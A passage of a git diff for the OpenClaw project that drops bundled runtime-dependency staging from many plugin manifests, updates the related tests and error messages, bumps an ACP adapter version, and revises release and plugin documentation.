**Tests:** packs or resolves one candidate tarball and uploads `release-package-under-test` for downstream package-facing checks.
**Rerun:** the affected package, cross-OS, or live/E2E group. | -| Install smoke | **Job:** `Run install smoke`
**Backing workflow:** `Install Smoke`
**Tests:** full install path with root Dockerfile smoke image reuse, QR package install, root and gateway Docker smokes, installer Docker tests, Bun global install image-provider smoke, and fast bundled-plugin Docker E2E.
**Rerun:** `rerun_group=install-smoke`. | +| Install smoke | **Job:** `Run install smoke`
**Backing workflow:** `Install Smoke`
**Tests:** full install path with root Dockerfile smoke image reuse, QR package install, root and gateway Docker smokes, installer Docker tests, Bun global install image-provider smoke, and fast bundled-plugin install/uninstall E2E.
**Rerun:** `rerun_group=install-smoke`. | | Cross-OS | **Job:** `cross_os_release_checks`
**Backing workflow:** `OpenClaw Cross-OS Release Checks (Reusable)`
**Tests:** fresh and upgrade lanes on Linux, Windows, and macOS for the selected provider and mode, using the candidate tarball plus a baseline package.
**Rerun:** `rerun_group=cross-os`. | | Repo and live E2E | **Job:** `Run repo/live E2E validation`
**Backing workflow:** `OpenClaw Live And E2E Checks (Reusable)`
**Tests:** repository E2E, live cache, OpenAI websocket streaming, native live provider and plugin shards, and Docker-backed live model/backend/gateway harnesses selected by `release_profile`.
**Rerun:** `rerun_group=live-e2e`, optionally with `live_suite_filter`. | | Docker release path | **Job:** `Run Docker release-path validation`
**Backing workflow:** `OpenClaw Live And E2E Checks (Reusable)`
**Tests:** release-path Docker chunks against the shared package artifact.
**Rerun:** `rerun_group=live-e2e`. | -| Package Acceptance | **Job:** `Run package acceptance`
**Backing workflow:** `Package Acceptance`
**Tests:** artifact-native bundled-channel dependency compatibility, offline plugin package fixtures, and mock-OpenAI Telegram package acceptance against the same tarball.
**Rerun:** `rerun_group=package`. | +| Package Acceptance | **Job:** `Run package acceptance`
**Backing workflow:** `Package Acceptance`
**Tests:** offline plugin package fixtures, plugin update, and mock-OpenAI Telegram package acceptance against the same tarball.
**Rerun:** `rerun_group=package`. | | QA parity | **Job:** `Run QA Lab parity lane` and `Run QA Lab parity report`
**Backing workflow:** direct jobs
**Tests:** candidate and baseline agentic parity packs, then the parity report.
**Rerun:** `rerun_group=qa-parity` or `rerun_group=qa`. | | QA live Matrix | **Job:** `Run QA Lab live Matrix lane`
**Backing workflow:** direct job
**Tests:** fast live Matrix QA profile in the `qa-live-shared` environment.
**Rerun:** `rerun_group=qa-live` or `rerun_group=qa`. | | QA live Telegram | **Job:** `Run QA Lab live Telegram lane`
**Backing workflow:** direct job
**Tests:** live Telegram QA with Convex CI credential leases.
**Rerun:** `rerun_group=qa-live` or `rerun_group=qa`. | @@ -68,18 +68,15 @@ or Docker-facing stages need it. The Docker release-path stage runs these chunks when `live_suite_filter` is empty: -| Chunk | Coverage | -| ------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------- | -| `core` | Core Docker release-path smoke lanes. | -| `package-update-openai` | OpenAI package install and update behavior. | -| `package-update-anthropic` | Anthropic package install and update behavior. | -| `package-update-core` | Provider-neutral package and update behavior. | -| `plugins-runtime-plugins` | Plugin runtime lanes that exercise plugin behavior. | -| `plugins-runtime-services` | Service-backed plugin runtime lanes; includes OpenWebUI when requested. | -| `plugins-runtime-install-a` through `plugins-runtime-install-h` | Plugin install/runtime batches split for parallel release validation. | -| `bundled-channels-core` | Bundled channel Docker behavior. | -| `bundled-channels-update-a`, `bundled-channels-update-discord`, `bundled-channels-update-b` | Bundled channel update behavior. | -| `bundled-channels-contracts` | Bundled channel contract checks in the Docker release path. | +| Chunk | Coverage | +| --------------------------------------------------------------- | ----------------------------------------------------------------------- | +| `core` | Core Docker release-path smoke lanes. | +| `package-update-openai` | OpenAI package install and update behavior. | +| `package-update-anthropic` | Anthropic package install and update behavior. | +| `package-update-core` | Provider-neutral package and update behavior. | +| `plugins-runtime-plugins` | Plugin runtime lanes that exercise plugin behavior. | +| `plugins-runtime-services` | Service-backed plugin runtime lanes; includes OpenWebUI when requested. | +| `plugins-runtime-install-a` through `plugins-runtime-install-h` | Plugin install/runtime batches split for parallel release validation. | Use targeted `docker_lanes=` on the reusable live/E2E workflow when only one Docker lane failed. The release artifacts include per-lane rerun diff --git a/docs/reference/memory-config.md b/docs/reference/memory-config.md index b651f01b6bc..64b40368fe1 100644 --- a/docs/reference/memory-config.md +++ b/docs/reference/memory-config.md @@ -284,7 +284,7 @@ For custom OpenAI-compatible endpoints or overriding provider defaults: | `local.modelCacheDir` | `string` | node-llama-cpp default | Cache dir for downloaded models | | `local.contextSize` | `number \| "auto"` | `4096` | Context window size for the embedding context. 4096 covers typical chunks (128–512 tokens) while bounding non-weight VRAM. Lower to 1024–2048 on constrained hosts. `"auto"` uses the model's trained maximum — not recommended for 8B+ models (Qwen3-Embedding-8B: 40 960 tokens → ~32 GB VRAM vs ~8.8 GB at 4096). | - Default model: `embeddinggemma-300m-qat-Q8_0.gguf` (~0.6 GB, auto-downloaded). Packaged installs repair the native `node-llama-cpp` runtime through managed plugin runtime deps when `provider: "local"` is configured. Source checkouts still require native build approval: `pnpm approve-builds` then `pnpm rebuild node-llama-cpp`. + Default model: `embeddinggemma-300m-qat-Q8_0.gguf` (~0.6 GB, auto-downloaded). Source checkouts still require native build approval: `pnpm approve-builds` then `pnpm rebuild node-llama-cpp`. Use the standalone CLI to verify the same provider path the Gateway uses: diff --git a/docs/reference/test.md b/docs/reference/test.md index 5ed27b15184..f3448c654a1 100644 --- a/docs/reference/test.md +++ b/docs/reference/test.md @@ -42,8 +42,8 @@ title: "Tests" - CLI backend live Docker probes can be run as focused lanes, for example `pnpm test:docker:live-cli-backend:codex`, `pnpm test:docker:live-cli-backend:codex:resume`, or `pnpm test:docker:live-cli-backend:codex:mcp`. Claude and Gemini have matching `:resume` and `:mcp` aliases. - `pnpm test:docker:openwebui`: Starts Dockerized OpenClaw + Open WebUI, signs in through Open WebUI, checks `/api/models`, then runs a real proxied chat through `/api/chat/completions`. Requires a usable live model key (for example OpenAI in `~/.profile`), pulls an external Open WebUI image, and is not expected to be CI-stable like the normal unit/e2e suites. - `pnpm test:docker:mcp-channels`: Starts a seeded Gateway container and a second client container that spawns `openclaw mcp serve`, then verifies routed conversation discovery, transcript reads, attachment metadata, live event queue behavior, outbound send routing, and Claude-style channel + permission notifications over the real stdio bridge. The Claude notification assertion reads the raw stdio MCP frames directly so the smoke reflects what the bridge actually emits. -- `pnpm test:docker:upgrade-survivor`: Installs the packed OpenClaw tarball over a dirty old-user fixture, runs package update plus non-interactive doctor without live provider or channel keys, then starts a loopback Gateway and checks that agents, channel config, plugin allowlists, workspace/session files, stale plugin runtime-deps state, startup, and RPC status survive. -- `pnpm test:docker:published-upgrade-survivor`: Installs `openclaw@latest` by default, seeds realistic existing-user files without live provider or channel keys, configures that baseline with a baked `openclaw config set` command recipe, updates that published install to the packed OpenClaw tarball, runs non-interactive doctor, writes `.artifacts/upgrade-survivor/summary.json`, then starts a loopback Gateway and checks that configured intents, workspace/session files, stale plugin config/runtime-deps state, startup, `/healthz`, `/readyz`, and RPC status survive or repair cleanly. Override one baseline with `OPENCLAW_UPGRADE_SURVIVOR_BASELINE_SPEC`, expand an exact matrix with `OPENCLAW_UPGRADE_SURVIVOR_BASELINE_SPECS`, or add scenario fixtures with `OPENCLAW_UPGRADE_SURVIVOR_SCENARIOS=reported-issues`; Package Acceptance exposes those as `published_upgrade_survivor_baseline`, `published_upgrade_survivor_baselines`, and `published_upgrade_survivor_scenarios`. +- `pnpm test:docker:upgrade-survivor`: Installs the packed OpenClaw tarball over a dirty old-user fixture, runs package update plus non-interactive doctor without live provider or channel keys, then starts a loopback Gateway and checks that agents, channel config, plugin allowlists, workspace/session files, stale legacy plugin dependency state, startup, and RPC status survive. +- `pnpm test:docker:published-upgrade-survivor`: Installs `openclaw@latest` by default, seeds realistic existing-user files without live provider or channel keys, configures that baseline with a baked `openclaw config set` command recipe, updates that published install to the packed OpenClaw tarball, runs non-interactive doctor, writes `.artifacts/upgrade-survivor/summary.json`, then starts a loopback Gateway and checks that configured intents, workspace/session files, stale plugin config and legacy dependency state, startup, `/healthz`, `/readyz`, and RPC status survive or repair cleanly. Override one baseline with `OPENCLAW_UPGRADE_SURVIVOR_BASELINE_SPEC`, expand an exact matrix with `OPENCLAW_UPGRADE_SURVIVOR_BASELINE_SPECS`, or add scenario fixtures with `OPENCLAW_UPGRADE_SURVIVOR_SCENARIOS=reported-issues`; Package Acceptance exposes those as `published_upgrade_survivor_baseline`, `published_upgrade_survivor_baselines`, and `published_upgrade_survivor_scenarios`. ## Local PR gate diff --git a/docs/tools/acp-agents.md b/docs/tools/acp-agents.md index 9c076687ca3..c1ec71ea779 100644 --- a/docs/tools/acp-agents.md +++ b/docs/tools/acp-agents.md @@ -809,8 +809,8 @@ permission modes, see | `ACP is disabled by policy (acp.enabled=false)` | ACP globally disabled. | Set `acp.enabled=true`. | | `ACP dispatch is disabled by policy (acp.dispatch.enabled=false)` | Automatic dispatch from normal thread messages disabled. | Set `acp.dispatch.enabled=true` to resume automatic thread routing; explicit `sessions_spawn({ runtime: "acp" })` calls still work. | | `ACP agent "" is not allowed by policy` | Agent not in allowlist. | Use allowed `agentId` or update `acp.allowedAgents`. | -| `/acp doctor` reports backend not ready right after startup | Plugin dependency probe or self-repair is still running. | Wait briefly and rerun `/acp doctor`; if it stays unhealthy, inspect the backend install error and plugin allow/deny policy. | -| Harness command not found | Adapter CLI is not installed, staged plugin deps are missing, or first-run `npx` fetch failed for a non-Codex adapter. | Run `/acp doctor`, repair plugin dependencies, install/prewarm the adapter on the Gateway host, or configure the acpx agent command explicitly. | +| `/acp doctor` reports backend not ready right after startup | Backend plugin is missing, disabled, blocked by allow/deny policy, or its configured executable is unavailable. | Install/enable the backend plugin, rerun `/acp doctor`, and inspect the backend install or policy error if it stays unhealthy. | +| Harness command not found | Adapter CLI is not installed, the external plugin is missing, or first-run `npx` fetch failed for a non-Codex adapter. | Run `/acp doctor`, install/prewarm the adapter on the Gateway host, or configure the acpx agent command explicitly. | | Model-not-found from the harness | Model id is valid for another provider/harness but not this ACP target. | Use a model listed by that harness, configure the model in the harness, or omit the override. | | Vendor auth error from the harness | OpenClaw is healthy, but the target CLI/provider is not logged in. | Log in or provide the required provider key on the Gateway host environment. | | `Unable to resolve session target: ...` | Bad key/id/label token. | Run `/acp sessions`, copy exact key/label, retry. | diff --git a/docs/tools/browser-control.md b/docs/tools/browser-control.md index f817213f4dd..88e4fbc23f3 100644 --- a/docs/tools/browser-control.md +++ b/docs/tools/browser-control.md @@ -96,10 +96,10 @@ What still needs Playwright: Element screenshots also reject `--full-page`; the route returns `fullPage is not supported for element screenshots`. -If you see `Playwright is not available in this gateway build`, repair the -bundled browser plugin runtime dependencies so `playwright-core` is installed, -then restart the gateway. For packaged installs, run `openclaw doctor --fix`. -For Docker, also install the Chromium browser binaries as shown below. +If you see `Playwright is not available in this gateway build`, the packaged +Gateway is missing the core browser runtime dependency. Reinstall or update +OpenClaw, then restart the gateway. For Docker, also install the Chromium +browser binaries as shown below. #### Docker Playwright install diff --git a/docs/tools/diffs.md b/docs/tools/diffs.md index 330d6269426..0287db68f9f 100644 --- a/docs/tools/diffs.md +++ b/docs/tools/diffs.md @@ -26,6 +26,11 @@ When enabled, the plugin prepends concise usage guidance into system-prompt spac ## Quick start + + ```bash + openclaw plugins install diffs + ``` + ```json5 { diff --git a/docs/tools/plugin.md b/docs/tools/plugin.md index c3f734f8309..985194c2a2c 100644 --- a/docs/tools/plugin.md +++ b/docs/tools/plugin.md @@ -96,22 +96,15 @@ Gateway startup skips plugin discovery/load work and `openclaw doctor` preserves the disabled plugin config instead of auto-removing it. Re-enable plugins before running doctor cleanup if you want stale plugin ids removed. -Packaged OpenClaw installs do not eagerly install every bundled plugin's -runtime dependency tree. When a bundled OpenClaw-owned plugin is active from -plugin config, legacy channel config, or a default-enabled manifest, startup -repairs only that plugin's declared runtime dependencies before importing it. -Persisted channel auth state alone does not activate a bundled channel for -Gateway startup runtime-dependency repair. -Explicit disablement still wins: `plugins.entries..enabled: false`, -`plugins.deny`, `plugins.enabled: false`, and `channels..enabled: false` -prevent automatic bundled runtime-dependency repair for that plugin/channel. -A non-empty `plugins.allow` also bounds default-enabled bundled runtime-dependency -repair; explicit bundled channel enablement (`channels..enabled: true`) can -still repair that channel's plugin dependencies. -External plugins and custom load paths must still be installed through -`openclaw plugins install`. -See [Plugin dependency resolution](/plugins/dependency-resolution) for the full -planning and staging lifecycle. +Plugin dependency installation happens only during explicit install/update or +doctor repair flows. Gateway startup, config reload, and runtime inspection do +not run package managers or repair dependency trees. Local plugins must already +have their dependencies installed, while npm, git, and ClawHub plugins are +installed under OpenClaw's managed plugin roots with package-local +dependencies. External plugins and custom load paths must still be installed +through `openclaw plugins install`. +See [Plugin dependency resolution](/plugins/dependency-resolution) for the +install-time lifecycle. ## Plugin types diff --git a/extensions/acpx/package.json b/extensions/acpx/package.json index ad80e39615c..7e60ef7b1d8 100644 --- a/extensions/acpx/package.json +++ b/extensions/acpx/package.json @@ -14,9 +14,6 @@ "openclaw": { "extensions": [ "./index.ts" - ], - "bundle": { - "stageRuntimeDependencies": true - } + ] } } diff --git a/extensions/acpx/src/codex-auth-bridge.test.ts b/extensions/acpx/src/codex-auth-bridge.test.ts index 6013ad5d895..1c44612e875 100644 --- a/extensions/acpx/src/codex-auth-bridge.test.ts +++ b/extensions/acpx/src/codex-auth-bridge.test.ts @@ -177,7 +177,7 @@ describe("prepareAcpxCodexAuthConfig", () => { }); const wrapper = await fs.readFile(generated.wrapperPath, "utf8"); - expect(wrapper).toContain('"@agentclientprotocol/claude-agent-acp@0.31.1"'); + expect(wrapper).toContain('"@agentclientprotocol/claude-agent-acp@0.31.4"'); expect(wrapper).toContain('"--", "claude-agent-acp"'); expect(wrapper).not.toContain("@agentclientprotocol/claude-agent-acp@^0.31.0"); expect(wrapper).not.toContain("@agentclientprotocol/claude-agent-acp@0.31.0"); @@ -379,7 +379,7 @@ describe("prepareAcpxCodexAuthConfig", () => { rawConfig: { agents: { claude: { - command: "npx -y @agentclientprotocol/claude-agent-acp@0.31.1 --permission-mode bypass", + command: "npx -y @agentclientprotocol/claude-agent-acp@0.31.4 --permission-mode bypass", }, }, }, @@ -425,7 +425,7 @@ describe("prepareAcpxCodexAuthConfig", () => { const root = await makeTempDir(); const stateDir = path.join(root, "state"); const command = - "node ./custom-claude-wrapper.mjs @agentclientprotocol/claude-agent-acp@0.31.1 --flag"; + "node ./custom-claude-wrapper.mjs @agentclientprotocol/claude-agent-acp@0.31.4 --flag"; const pluginConfig = resolveAcpxPluginConfig({ rawConfig: { agents: { diff --git a/extensions/acpx/src/codex-auth-bridge.ts b/extensions/acpx/src/codex-auth-bridge.ts index 6f783e0e7d0..f215b829b3a 100644 --- a/extensions/acpx/src/codex-auth-bridge.ts +++ b/extensions/acpx/src/codex-auth-bridge.ts @@ -7,7 +7,7 @@ const CODEX_ACP_PACKAGE = "@zed-industries/codex-acp"; const CODEX_ACP_PACKAGE_RANGE = "^0.12.0"; const CODEX_ACP_BIN = "codex-acp"; const CLAUDE_ACP_PACKAGE = "@agentclientprotocol/claude-agent-acp"; -const CLAUDE_ACP_PACKAGE_VERSION = "0.31.1"; +const CLAUDE_ACP_PACKAGE_VERSION = "0.31.4"; const CLAUDE_ACP_BIN = "claude-agent-acp"; const RUN_CONFIGURED_COMMAND_SENTINEL = "--openclaw-run-configured"; const requireFromHere = createRequire(import.meta.url); diff --git a/extensions/acpx/src/manifest.test.ts b/extensions/acpx/src/manifest.test.ts index 3d6ece49869..8e9e3ee30d9 100644 --- a/extensions/acpx/src/manifest.test.ts +++ b/extensions/acpx/src/manifest.test.ts @@ -4,15 +4,10 @@ import { describe, expect, it } from "vitest"; type AcpxPackageManifest = { dependencies?: Record; devDependencies?: Record; - openclaw?: { - bundle?: { - stageRuntimeDependencies?: boolean; - }; - }; }; describe("acpx package manifest", () => { - it("opts into staging bundled runtime dependencies", () => { + it("keeps runtime dependencies in the package manifest", () => { const packageJson = JSON.parse( fs.readFileSync(new URL("../package.json", import.meta.url), "utf8"), ) as AcpxPackageManifest; @@ -21,6 +16,5 @@ describe("acpx package manifest", () => { expect(packageJson.dependencies?.["@zed-industries/codex-acp"]).toBe("0.12.0"); expect(packageJson.dependencies?.["@agentclientprotocol/claude-agent-acp"]).toBe("0.31.4"); expect(packageJson.devDependencies?.["@agentclientprotocol/claude-agent-acp"]).toBeUndefined(); - expect(packageJson.openclaw?.bundle?.stageRuntimeDependencies).toBe(true); }); }); diff --git a/extensions/amazon-bedrock-mantle/package.json b/extensions/amazon-bedrock-mantle/package.json index 050b59b0f21..30ba2213544 100644 --- a/extensions/amazon-bedrock-mantle/package.json +++ b/extensions/amazon-bedrock-mantle/package.json @@ -13,9 +13,6 @@ "@openclaw/plugin-sdk": "workspace:*" }, "openclaw": { - "bundle": { - "stageRuntimeDependencies": true - }, "extensions": [ "./index.ts" ] diff --git a/extensions/amazon-bedrock/package.json b/extensions/amazon-bedrock/package.json index d808f06a158..9303fa045cc 100644 --- a/extensions/amazon-bedrock/package.json +++ b/extensions/amazon-bedrock/package.json @@ -13,9 +13,6 @@ "@openclaw/plugin-sdk": "workspace:*" }, "openclaw": { - "bundle": { - "stageRuntimeDependencies": true - }, "extensions": [ "./index.ts" ] diff --git a/extensions/anthropic-vertex/package.json b/extensions/anthropic-vertex/package.json index 50559bfa6c2..2407c5b2922 100644 --- a/extensions/anthropic-vertex/package.json +++ b/extensions/anthropic-vertex/package.json @@ -13,9 +13,6 @@ "@openclaw/plugin-sdk": "workspace:*" }, "openclaw": { - "bundle": { - "stageRuntimeDependencies": true - }, "extensions": [ "./index.ts" ] diff --git a/extensions/anthropic/package.json b/extensions/anthropic/package.json index 37ad0067842..5256555f228 100644 --- a/extensions/anthropic/package.json +++ b/extensions/anthropic/package.json @@ -11,9 +11,6 @@ "@openclaw/plugin-sdk": "workspace:*" }, "openclaw": { - "bundle": { - "stageRuntimeDependencies": true - }, "extensions": [ "./index.ts" ] diff --git a/extensions/bonjour/package.json b/extensions/bonjour/package.json index c31966d8cea..dab07e38937 100644 --- a/extensions/bonjour/package.json +++ b/extensions/bonjour/package.json @@ -12,9 +12,6 @@ "openclaw": { "extensions": [ "./index.ts" - ], - "bundle": { - "stageRuntimeDependencies": true - } + ] } } diff --git a/extensions/browser/src/browser/routes/agent.shared.ts b/extensions/browser/src/browser/routes/agent.shared.ts index 9a513ccd0eb..e3c1af2acf4 100644 --- a/extensions/browser/src/browser/routes/agent.shared.ts +++ b/extensions/browser/src/browser/routes/agent.shared.ts @@ -84,7 +84,7 @@ export async function requirePwAi( 501, [ `Playwright is not available in this gateway build; '${feature}' is unsupported.`, - "Repair the bundled browser plugin runtime dependencies so playwright-core is installed, then restart the gateway. In Docker, also install Chromium with the bundled playwright-core CLI.", + "Reinstall or update OpenClaw so the core browser runtime dependency is present, then restart the gateway. In Docker, also install Chromium with the bundled playwright-core CLI.", "Docs: /tools/browser#playwright-requirement", ].join("\n"), ); diff --git a/extensions/codex/package.json b/extensions/codex/package.json index 945cd893782..e7321ee5323 100644 --- a/extensions/codex/package.json +++ b/extensions/codex/package.json @@ -16,9 +16,6 @@ "openclaw": { "extensions": [ "./index.ts" - ], - "bundle": { - "stageRuntimeDependencies": true - } + ] } } diff --git a/extensions/codex/src/app-server/managed-binary.ts b/extensions/codex/src/app-server/managed-binary.ts index 15dd95975c0..5b4de55b884 100644 --- a/extensions/codex/src/app-server/managed-binary.ts +++ b/extensions/codex/src/app-server/managed-binary.ts @@ -105,7 +105,7 @@ async function findManagedCodexAppServerCommandPath(params: { throw new Error( [ `Managed Codex app-server binary was not found for ${MANAGED_CODEX_APP_SERVER_PACKAGE}.`, - "Run OpenClaw with bundled plugin runtime dependencies enabled, or run pnpm install in a source checkout.", + "Reinstall or update OpenClaw, or run pnpm install in a source checkout.", "Set plugins.entries.codex.config.appServer.command or OPENCLAW_CODEX_APP_SERVER_BIN to use a custom Codex binary.", ].join(" "), ); diff --git a/extensions/codex/src/manifest.test.ts b/extensions/codex/src/manifest.test.ts index 723f7719fdb..3342031e4e6 100644 --- a/extensions/codex/src/manifest.test.ts +++ b/extensions/codex/src/manifest.test.ts @@ -4,15 +4,10 @@ import { MANAGED_CODEX_APP_SERVER_PACKAGE_VERSION } from "./app-server/version.j type CodexPackageManifest = { dependencies?: Record; - openclaw?: { - bundle?: { - stageRuntimeDependencies?: boolean; - }; - }; }; describe("codex package manifest", () => { - it("opts into staging bundled runtime dependencies", () => { + it("keeps runtime dependencies in the package manifest", () => { const packageJson = JSON.parse( fs.readFileSync(new URL("../package.json", import.meta.url), "utf8"), ) as CodexPackageManifest; @@ -21,6 +16,5 @@ describe("codex package manifest", () => { expect(packageJson.dependencies?.["@openai/codex"]).toBe( MANAGED_CODEX_APP_SERVER_PACKAGE_VERSION, ); - expect(packageJson.openclaw?.bundle?.stageRuntimeDependencies).toBe(true); }); }); diff --git a/extensions/diffs/openclaw.plugin.json b/extensions/diffs/openclaw.plugin.json index d7589db38f4..24a6eb5972d 100644 --- a/extensions/diffs/openclaw.plugin.json +++ b/extensions/diffs/openclaw.plugin.json @@ -1,7 +1,7 @@ { "id": "diffs", "activation": { - "onStartup": true + "onStartup": false }, "name": "Diffs", "description": "Read-only diff viewer and file renderer for agents.", diff --git a/extensions/diffs/package.json b/extensions/diffs/package.json index 90b7bfe9fd9..f62f8d4a9a2 100644 --- a/extensions/diffs/package.json +++ b/extensions/diffs/package.json @@ -17,11 +17,27 @@ "@openclaw/plugin-sdk": "workspace:*" }, "openclaw": { - "bundle": { - "stageRuntimeDependencies": true - }, "extensions": [ "./index.ts" - ] + ], + "install": { + "npmSpec": "@openclaw/diffs", + "localPath": "extensions/diffs", + "defaultChoice": "npm", + "minHostVersion": ">=2026.4.30" + }, + "compat": { + "pluginApi": ">=2026.4.30" + }, + "build": { + "openclawVersion": "2026.4.30" + }, + "bundle": { + "includeInCore": false + }, + "release": { + "publishToClawHub": true, + "publishToNpm": true + } } } diff --git a/extensions/diffs/src/manifest.test.ts b/extensions/diffs/src/manifest.test.ts index a2e8dbbfd02..c1a3e0544a3 100644 --- a/extensions/diffs/src/manifest.test.ts +++ b/extensions/diffs/src/manifest.test.ts @@ -3,20 +3,14 @@ import { describe, expect, it } from "vitest"; type DiffsPackageManifest = { dependencies?: Record; - openclaw?: { - bundle?: { - stageRuntimeDependencies?: boolean; - }; - }; }; describe("diffs package manifest", () => { - it("opts into staging bundled runtime dependencies", () => { + it("keeps runtime dependencies in the package manifest", () => { const packageJson = JSON.parse( fs.readFileSync(new URL("../package.json", import.meta.url), "utf8"), ) as DiffsPackageManifest; expect(packageJson.dependencies?.["@pierre/diffs"]).toBeDefined(); - expect(packageJson.openclaw?.bundle?.stageRuntimeDependencies).toBe(true); }); }); diff --git a/extensions/discord/package.json b/extensions/discord/package.json index 844346370cb..c6079ae84d2 100644 --- a/extensions/discord/package.json +++ b/extensions/discord/package.json @@ -59,9 +59,6 @@ "build": { "openclawVersion": "2026.4.25" }, - "bundle": { - "stageRuntimeDependencies": true - }, "release": { "publishToClawHub": true, "publishToNpm": true diff --git a/extensions/feishu/package.json b/extensions/feishu/package.json index ccc67b24e8d..1144ef5b7a8 100644 --- a/extensions/feishu/package.json +++ b/extensions/feishu/package.json @@ -48,9 +48,6 @@ "build": { "openclawVersion": "2026.4.25" }, - "bundle": { - "stageRuntimeDependencies": true - }, "release": { "publishToClawHub": true, "publishToNpm": true diff --git a/extensions/file-transfer/package.json b/extensions/file-transfer/package.json index 8de1c976ca9..2832210d474 100644 --- a/extensions/file-transfer/package.json +++ b/extensions/file-transfer/package.json @@ -13,9 +13,6 @@ "openclaw": { "extensions": [ "./index.ts" - ], - "bundle": { - "stageRuntimeDependencies": false - } + ] } } diff --git a/extensions/google/package.json b/extensions/google/package.json index ea9dcfcc95c..24936a42ba6 100644 --- a/extensions/google/package.json +++ b/extensions/google/package.json @@ -12,9 +12,6 @@ "@openclaw/plugin-sdk": "workspace:*" }, "openclaw": { - "bundle": { - "stageRuntimeDependencies": true - }, "extensions": [ "./index.ts" ] diff --git a/extensions/googlechat/package.json b/extensions/googlechat/package.json index 9e55653a168..c4cea3c72a7 100644 --- a/extensions/googlechat/package.json +++ b/extensions/googlechat/package.json @@ -22,9 +22,6 @@ } }, "openclaw": { - "bundle": { - "stageRuntimeDependencies": true - }, "extensions": [ "./index.ts" ], diff --git a/extensions/matrix/package.json b/extensions/matrix/package.json index 23d1ac2d290..4abc2d463b9 100644 --- a/extensions/matrix/package.json +++ b/extensions/matrix/package.json @@ -80,9 +80,6 @@ "defaultChoice": "npm", "minHostVersion": ">=2026.4.10", "allowInvalidConfigRecovery": true - }, - "bundle": { - "stageRuntimeDependencies": true } } } diff --git a/extensions/matrix/src/manifest.test.ts b/extensions/matrix/src/manifest.test.ts index 3c76a08ca4a..8db734a18ad 100644 --- a/extensions/matrix/src/manifest.test.ts +++ b/extensions/matrix/src/manifest.test.ts @@ -3,20 +3,14 @@ import { describe, expect, it } from "vitest"; type MatrixPackageManifest = { dependencies?: Record; - openclaw?: { - bundle?: { - stageRuntimeDependencies?: boolean; - }; - }; }; describe("matrix package manifest", () => { - it("opts into staging bundled runtime dependencies", () => { + it("keeps runtime dependencies in the package manifest", () => { const packageJson = JSON.parse( fs.readFileSync(new URL("../package.json", import.meta.url), "utf8"), ) as MatrixPackageManifest; expect(packageJson.dependencies?.["fake-indexeddb"]).toBeDefined(); - expect(packageJson.openclaw?.bundle?.stageRuntimeDependencies).toBe(true); }); }); diff --git a/extensions/media-understanding-core/package.json b/extensions/media-understanding-core/package.json index 4a6c19f8103..9ac2f4b0307 100644 --- a/extensions/media-understanding-core/package.json +++ b/extensions/media-understanding-core/package.json @@ -10,9 +10,5 @@ "devDependencies": { "@openclaw/plugin-sdk": "workspace:*" }, - "openclaw": { - "bundle": { - "stageRuntimeDependencies": true - } - } + "openclaw": {} } diff --git a/extensions/memory-core/openclaw.plugin.json b/extensions/memory-core/openclaw.plugin.json index cf5ae6f92a3..c7ef0f6cfb2 100644 --- a/extensions/memory-core/openclaw.plugin.json +++ b/extensions/memory-core/openclaw.plugin.json @@ -7,9 +7,6 @@ "contracts": { "memoryEmbeddingProviders": ["local"] }, - "runtimeDependencies": { - "localMemoryEmbedding": ["node-llama-cpp@3.18.1"] - }, "commandAliases": [ { "name": "dreaming", diff --git a/extensions/msteams/package.json b/extensions/msteams/package.json index 9595603e8f1..eab15e4894b 100644 --- a/extensions/msteams/package.json +++ b/extensions/msteams/package.json @@ -59,9 +59,6 @@ "build": { "openclawVersion": "2026.4.25" }, - "bundle": { - "stageRuntimeDependencies": true - }, "release": { "publishToClawHub": true, "publishToNpm": true diff --git a/extensions/nostr/package.json b/extensions/nostr/package.json index 01a7de4bcb5..e1c5492b3ff 100644 --- a/extensions/nostr/package.json +++ b/extensions/nostr/package.json @@ -55,9 +55,6 @@ "build": { "openclawVersion": "2026.4.25" }, - "bundle": { - "stageRuntimeDependencies": true - }, "release": { "publishToClawHub": true, "publishToNpm": true diff --git a/extensions/openai/native-web-search.ts b/extensions/openai/native-web-search.ts index f26f8c87022..c0710652449 100644 --- a/extensions/openai/native-web-search.ts +++ b/extensions/openai/native-web-search.ts @@ -65,7 +65,9 @@ function raiseMinimalReasoningForOpenAINativeWebSearch(payload: Record; - openclaw?: { - bundle?: { - stageRuntimeDependencies?: boolean; - }; - }; }; function manifestComparableWizardFields(choice: { @@ -64,10 +59,9 @@ function providerWizardByKey() { } describe("OpenAI plugin manifest", () => { - it("opts into staging bundled runtime dependencies", () => { + it("keeps runtime dependencies in the package manifest", () => { expect(packageJson.dependencies?.["@mariozechner/pi-ai"]).toBe("0.71.1"); expect(packageJson.dependencies?.ws).toBe("^8.20.0"); - expect(packageJson.openclaw?.bundle?.stageRuntimeDependencies).toBe(true); }); it("keeps removed Codex CLI import auth choice as a deprecated browser-login alias", () => { diff --git a/extensions/openai/package.json b/extensions/openai/package.json index 8e7be17c4ea..a3ec29b4c40 100644 --- a/extensions/openai/package.json +++ b/extensions/openai/package.json @@ -12,9 +12,6 @@ "@openclaw/plugin-sdk": "workspace:*" }, "openclaw": { - "bundle": { - "stageRuntimeDependencies": true - }, "extensions": [ "./index.ts" ] diff --git a/extensions/qa-lab/src/gateway-child.test.ts b/extensions/qa-lab/src/gateway-child.test.ts index f05082c54ba..95d17b17fcc 100644 --- a/extensions/qa-lab/src/gateway-child.test.ts +++ b/extensions/qa-lab/src/gateway-child.test.ts @@ -934,8 +934,8 @@ describe("qa bundled plugin dir", () => { ).resolves.toBeTruthy(); }); - it("skips transient runtime dependency artifacts while staging built bundled plugins", async () => { - const repoRoot = await mkdtemp(path.join(os.tmpdir(), "qa-bundled-runtime-deps-")); + it("skips legacy dependency debris while staging built bundled plugins", async () => { + const repoRoot = await mkdtemp(path.join(os.tmpdir(), "qa-bundled-legacy-deps-")); cleanups.push(async () => { await rm(repoRoot, { recursive: true, force: true }); }); @@ -961,7 +961,7 @@ describe("qa bundled plugin dir", () => { "export {};\n", "utf8", ); - const tempRoot = await mkdtemp(path.join(os.tmpdir(), "qa-bundled-runtime-deps-target-")); + const tempRoot = await mkdtemp(path.join(os.tmpdir(), "qa-bundled-legacy-deps-target-")); cleanups.push(async () => { await rm(tempRoot, { recursive: true, force: true }); }); diff --git a/extensions/qqbot/package.json b/extensions/qqbot/package.json index 5bce1e40873..296f15c01a9 100644 --- a/extensions/qqbot/package.json +++ b/extensions/qqbot/package.json @@ -52,7 +52,7 @@ "openclawVersion": "2026.4.27" }, "bundle": { - "stageRuntimeDependencies": true + "includeInCore": false }, "release": { "publishToClawHub": 